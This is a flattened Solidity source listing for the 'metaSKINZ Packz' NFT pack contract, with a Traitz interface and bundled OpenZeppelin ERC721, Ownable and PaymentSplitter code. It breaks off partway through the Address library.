// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // ███ ███ ███████ ████████ █████ ███████ ██ ██ ██ █████████ ███████ // ████ ████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ███ // ██ ████ ██ █████ ██ ███████ ███████ █████ ██ ██ ██ ███ // ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ███ // ██ ██ ███████ ██ ██ ██ ███████ ██ ██ ██ ██ ██ ███████ // 🥯 bagelface // 🐦 @bagelface_ // 🎮 bagelface#2027 // 📬 [email protected] interface ITraitz { function mint(uint256 tokenId, address to) external; function setMetadataURI(string memory URI) external; function setContractURI(string memory URI) external; function setBaseTokenURI(string memory URI) external; function setPrivateSeed(bytes32 seed) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/finance/PaymentSplitter.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "./ITraitz.sol"; // ███ ███ ███████ ████████ █████ ███████ ██ ██ ██ █████████ ███████ // ████ ████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ███ // ██ ████ ██ █████ ██ ███████ ███████ █████ ██ ██ ██ ███ // ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ███ // ██ ██ ███████ ██ ██ ██ ███████ ██ ██ ██ ██ ██ ███████ // 🥯 bagelface // 🐦 @bagelface_ // 🎮 bagelface#2027 // 📬 [email protected] contract Packz is ERC721, ERC721Enumerable, Ownable, PaymentSplitter { using Address for address; uint256 public EDITION = 0; uint256 public MAX_MINT = 10; uint256 public MAX_SUPPLY = 10_000; uint256 public MAX_RESERVED = 111; uint256 public MINT_PRICE = 0.0555 ether; uint256 public TRAITZ_PER_PACK = 12; ITraitz private _traitz; address[] private _payees; uint256 private _tokenIds; uint256 private _reserved; string private _packzURI; string private _contractURI; bool private _saleActive; constructor( string memory packzURI, address traitzAddress, address[] memory payees, uint256[] memory shares ) PaymentSplitter(payees, shares) ERC721("metaSKINZ Packz", "PACKZ") { _traitz = ITraitz(traitzAddress); _packzURI = packzURI; _payees = payees; } function tokenIds() public view returns (uint256) { return _tokenIds; } function saleActive() public view returns (bool) { return _saleActive; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); return _packzURI; } function contractURI() public view returns (string memory) { return _contractURI; } function flipSaleActive() public onlyOwner { _saleActive = !_saleActive; } function setPackzURI(string memory URI) public onlyOwner { _packzURI = URI; } function setPackzContractURI(string memory URI) public onlyOwner { _contractURI = URI; } function setTraitzMetadataURI(string memory URI) public onlyOwner { _traitz.setMetadataURI(URI); } function setTraitzContractURI(string memory URI) public onlyOwner { _traitz.setContractURI(URI); } function setTraitzBaseURI(string memory URI) public onlyOwner { _traitz.setBaseTokenURI(URI); } function setTraitzPrivateSeed(bytes32 privateSeed) public onlyOwner { _traitz.setPrivateSeed(privateSeed); } function reserve(uint256 amount, address to) public onlyOwner { require(_reserved < MAX_RESERVED, "Exceeds maximum number of reserved tokens"); _mintAmount(amount, to); _reserved += 1; } function mint(uint256 amount) public payable { require(amount <= MAX_MINT, "Exceeds the maximum amount to mint at once"); require(msg.value >= MINT_PRICE * amount, "Invalid Ether amount sent"); require(_saleActive, "Sale is not active"); _mintAmount(amount, msg.sender); } function _mintAmount(uint256 amount, address to) private { require(_tokenIds + amount < MAX_SUPPLY, "Exceeds maximum number of tokens"); for (uint256 i = 0; i < amount; i++) { _safeMint(to, _tokenIds); _tokenIds += 1; } } function open(uint256 tokenId) public { require(ownerOf(tokenId) == msg.sender, "Caller is not the owner of this token"); _traitz.mint(TRAITZ_PER_PACK, msg.sender); _burn(tokenId); } function openMultiple(uint256[] calldata tokenIds) public { require(tokenIds.length <= MAX_MINT, "Exceeds the maximum amount to open at once"); for (uint256 i = 0; i < tokenIds.length; i++) { require(ownerOf(tokenIds[i]) == msg.sender, "Caller is not the owner of this token"); } _traitz.mint(TRAITZ_PER_PACK * tokenIds.length, msg.sender); for (uint256 i = 0; i < tokenIds.length; i++) { _burn(tokenIds[i]); } } function withdrawAll() public onlyOwner { for (uint256 i = 0; i < _payees.length; i++) { release(payable(_payees[i])); } } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override(ERC721, ERC721Enumerable) { super._beforeTokenTransfer(from, to, tokenId); } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Address.sol"; import "../utils/Context.sol"; import "../utils/math/SafeMath.sol"; /** * @title PaymentSplitter * @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware * that the Ether will be split in this way, since it is handled transparently by the contract. * * The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each * account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim * an amount proportional to the percentage of total shares they were assigned. * * `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the * accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release} * function. */ contract PaymentSplitter is Context { event PayeeAdded(address account, uint256 shares); event PaymentReleased(address to, uint256 amount); event PaymentReceived(address from, uint256 amount); uint256 private _totalShares; uint256 private _totalReleased; mapping(address => uint256) private _shares; mapping(address => uint256) private _released; address[] private _payees; /** * @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at * the matching position in the `shares` array. * * All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no * duplicates in `payees`. */ constructor(address[] memory payees, uint256[] memory shares_) payable { require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch"); require(payees.length > 0, "PaymentSplitter: no payees"); for (uint256 i = 0; i < payees.length; i++) { _addPayee(payees[i], shares_[i]); } } /** * @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully * reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the * reliability of the events, and not the actual splitting of Ether. * * To learn more about this see the Solidity documentation for * https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback * functions]. */ receive() external payable virtual { emit PaymentReceived(_msgSender(), msg.value); } /** * @dev Getter for the total shares held by payees. */ function totalShares() public view returns (uint256) { return _totalShares; } /** * @dev Getter for the total amount of Ether already released. */ function totalReleased() public view returns (uint256) { return _totalReleased; } /** * @dev Getter for the amount of shares held by an account. */ function shares(address account) public view returns (uint256) { return _shares[account]; } /** * @dev Getter for the amount of Ether already released to a payee. */ function released(address account) public view returns (uint256) { return _released[account]; } /** * @dev Getter for the address of the payee number `index`. */ function payee(uint256 index) public view returns (address) { return _payees[index]; } /** * @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the * total shares and their previous withdrawals. */ function release(address payable account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 totalReceived = address(this).balance + _totalReleased; uint256 payment = (totalReceived * _shares[account]) / _totalShares - _released[account]; require(payment != 0, "PaymentSplitter: account is not due payment"); _released[account] = _released[account] + payment; _totalReleased = _totalReleased + payment; Address.sendValue(account, payment); emit PaymentReleased(account, payment); } /** * @dev Add a new payee to the contract. * @param account The address of the payee to add. * @param shares_ The number of shares owned by the payee. */ function _addPayee(address account, uint256 shares_) private { require(account != address(0), "PaymentSplitter: account is the zero address"); require(shares_ > 0, "PaymentSplitter: shares are 0"); require(_shares[account] == 0, "PaymentSplitter: account already has shares"); _payees.push(account); _shares[account] = shares_; _totalShares = _totalShares + shares_; emit PayeeAdded(account, shares_); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, 